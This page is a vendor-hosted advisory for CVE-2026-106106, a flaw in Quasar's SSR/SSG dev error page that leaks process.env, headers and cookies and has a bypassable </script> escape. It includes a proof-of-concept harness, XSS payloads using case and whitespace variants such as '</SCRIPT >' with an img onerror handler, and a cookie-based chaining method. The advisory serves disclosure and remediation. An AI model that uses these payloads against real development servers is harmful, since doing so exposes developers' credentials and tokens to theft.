CVE-2026-106106

CVE-2026-106106 is a high-severity cross-site scripting (XSS) vulnerability in @quasar/render-ssr-error (npm), affecting versions <= 2.2.3. It is fixed in 2.2.4, 3.3.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Quasar Framework: SSR/SSG dev error page discloses the full shell environment and its </script> escape is bypassable

The error page that Quasar CLI shows when an SSR or SSG render throws in development serializes every variable in process.env, every request header and every cookie into the HTTP response, and the dev server binds 0.0.0.0 by default. Any host that can reach the port therefore gets the developer's cloud keys, registry tokens and database URLs from a single unauthenticated GET. The same page embeds that data inside a <script> element behind a replaceAll('</script>', ...) guard that is ASCII-case-sensitive and requires a literal >, so </SCRIPT>, </script > and </script/> all escape the element and give script execution in the dev server's origin.

Details

renderSSRError() builds the page by splicing a JSON blob into a prebuilt bundle (utils/render-ssr-error/src/index.js):

errorHtml:
  before +
  JSON.stringify(data).replaceAll('</script>', String.raw`<\/script>`) +
  after

before and after are the two halves of the compiled error-page UI, split inside a <script type="module"> element, so data is emitted as a JS object literal in raw script text. The data itself comes from utils/render-ssr-error/src/env.js:

function getEnvironmentVariablesData () {
  return Object.keys(process.env).reduce((acc, name) => {
    acc[ name ] = process.env[ name ]
    return acc
  }, {})
}

export function getEnv (req) {
  return {
    Request: getRequestData(req),
    Headers: getHeadersData(req),
    Cookies: getCookiesData(req),
    'Shell environment variables': getEnvironmentVariablesData()
  }
}

The page is served by serve.devError({ err, req }) in app-vite/lib/modes/ssr/ssr-devserver.js and by the SSG equivalent, which the generated render middleware calls on any render exception. The dev server listens on every interface because app-vite/lib/quasar-config-file.js overrides Vite's localhost default:

} else if (!cfg.devServer.host) {
  cfg.devServer.host = '0.0.0.0'
}

The escape fails because the HTML tokenizer ends script raw text on </ followed by a case-insensitive script followed by any of tab, newline, form feed, space, / or >. replaceAll with a string pattern matches one exact spelling. </SCRIPT>, </ScRiPt>, </script > and </script/> are all untouched and all close the element. JSON.stringify does not escape < or >, and cookie values are additionally run through decodeURIComponent before being placed in the blob, so percent-encoded payloads decode into working markup.

The project already implements this correctly elsewhere. ui/src/plugins/meta/Meta.js uses a case-insensitive pattern with no trailing >:

function protectRawText (value, tagName) {
  return String(value).replaceAll(new RegExp(`</${tagName}`, 'gi'), `<\\/${tagName}`)
}

PoC

Harness that replicates the dev server's error branch using the published @quasar/[email protected], with two canary values planted in the environment:

import http from 'node:http'
import renderSSRError from '@quasar/render-ssr-error'

process.env.AWS_SECRET_ACCESS_KEY = 'CANARY_AWS_SECRET_dev_machine_9f3a1c'
process.env.NPM_TOKEN = 'CANARY_npm_TOKEN_abcdef'

http.createServer((req, res) => {
  const err = new Error('Cannot read properties of undefined (reading "x")')
  const { errorHeaders, errorHtml } = renderSSRError({ err, req, rootFolder: process.cwd() })
  res.writeHead(500, errorHeaders)
  res.end(errorHtml)
}).listen(3200, '0.0.0.0')

Disclosure needs no payload at all. A plain GET / returns a 957 KB page containing both canaries:

ENV DISCLOSURE (plain GET, no injection): 2/2 canary secrets present in the 500 page
  -> CANARY_AWS_SECRET_dev_machine_9f3a1c, CANARY_npm_TOKEN_abcdef

For the injection, the payload goes in an ordinary request header. JSON.stringify escapes " as \", so the handler uses single quotes:

<TAG><img src=/nonexistent-image onerror='window.__QPWN=document.domain+":"+location.port'>

Loaded in headless Chromium:

POSITIVE  </SCRIPT >  (uppercase + space)   window.__QPWN=127.0.0.1:3200  injectedImg=1  ATTACKER SCRIPT EXECUTED
POSITIVE  </script >  (lowercase + space)   window.__QPWN=127.0.0.1:3200  injectedImg=1  ATTACKER SCRIPT EXECUTED
POSITIVE  </script/>  (lowercase + slash)   window.__QPWN=127.0.0.1:3200  injectedImg=1  ATTACKER SCRIPT EXECUTED
POSITIVE  </ScRiPt>   (mixed case)          window.__QPWN=127.0.0.1:3200  injectedImg=1  ATTACKER SCRIPT EXECUTED
NEG-CTRL  </script>   (what the filter matches)
                                            window.__QPWN=null            injectedImg=0  no execution

The negative control is the same payload with the one spelling replaceAll actually matches. Nothing is injected and nothing runs, which isolates the bug to the escape rather than to the surrounding page. Confirming the injection context, a probe header comes back inside the single <script type="module"> element:

..."Headers":{"host":"127.0.0.1:3200","user-agent":"curl/8.18.0","accept":"*/*",
   "x-probe":"</SCRIPT ><img src=/nope onerror=\"window.__QPWN=1\">MARKEREND"},...

No Content-Security-Policy is sent with the page.

Impact

Exposure of sensitive system information, plus HTML injection into a page that carries it. This is development only, since serve.devError does not exist in a production build, and it requires the app's SSR render to throw. That is the routine state this page exists to display, and an attacker who can reach the port can simply poll for it.

The disclosure is the substantive half and needs nothing but a TCP connection: shell environment, all request headers, all cookies, and ten lines of source around every stack frame. On a developer machine that typically means cloud credentials, npm or GitHub tokens and database connection strings. Because Quasar overrides Vite's localhost default with 0.0.0.0, everyone on the same network segment or in a shared container network can ask for it.

The injection is best treated as a chained issue on top of that rather than as a drive-by. A raw HTTP client can set the header but only poisons its own page. For the code to run in the developer's browser the payload has to travel with the developer's own request, which in practice means the cookie channel, since cookie values are URL-decoded and any page on a localhost or 127.0.0.1 origin can set a cookie that is sent to every port on that host. Cross-origin fetch does not work: CORS-safelisted headers forbid < and >, and browsers percent-encode them in the URL while req.url is never decoded.

Fixing the escape alone leaves the disclosure. Serializing with something that escapes <, such as the serialize-javascript already used correctly in app-vite/lib/modes/ssr/ssr-utils.js, closes the injection; redacting or omitting process.env and cookie values closes the disclosure; defaulting devServer.host to localhost as Vite does would reduce who can ask.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

Affected versions

@quasar/render-ssr-error (<= 2.2.3) @quasar/app-vite (<= 3.2.0)

Security releases

@quasar/render-ssr-error → 2.2.4 (npm) @quasar/app-vite → 3.3.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

@quasar/render-ssr-error to 2.2.4 or later; @quasar/app-vite to 3.3.0 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-106106? CVE-2026-106106 is a high-severity cross-site scripting (XSS) vulnerability in @quasar/render-ssr-error (npm), affecting versions <= 2.2.3. It is fixed in 2.2.4, 3.3.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. Which packages are affected by CVE-2026-106106?
    • @quasar/render-ssr-error (npm) (versions <= 2.2.3)
    • @quasar/app-vite (npm) (versions <= 3.2.0)
  3. Is there a fix for CVE-2026-106106? Yes. CVE-2026-106106 is fixed in 2.2.4, 3.3.0. Upgrade to this version or later.
  4. Is CVE-2026-106106 exploitable, and should I be worried? Whether CVE-2026-106106 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-106106 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-106106?
    • Upgrade @quasar/render-ssr-error to 2.2.4 or later
    • Upgrade @quasar/app-vite to 3.3.0 or later

Stop the waste.
Protect your environment with Kodem.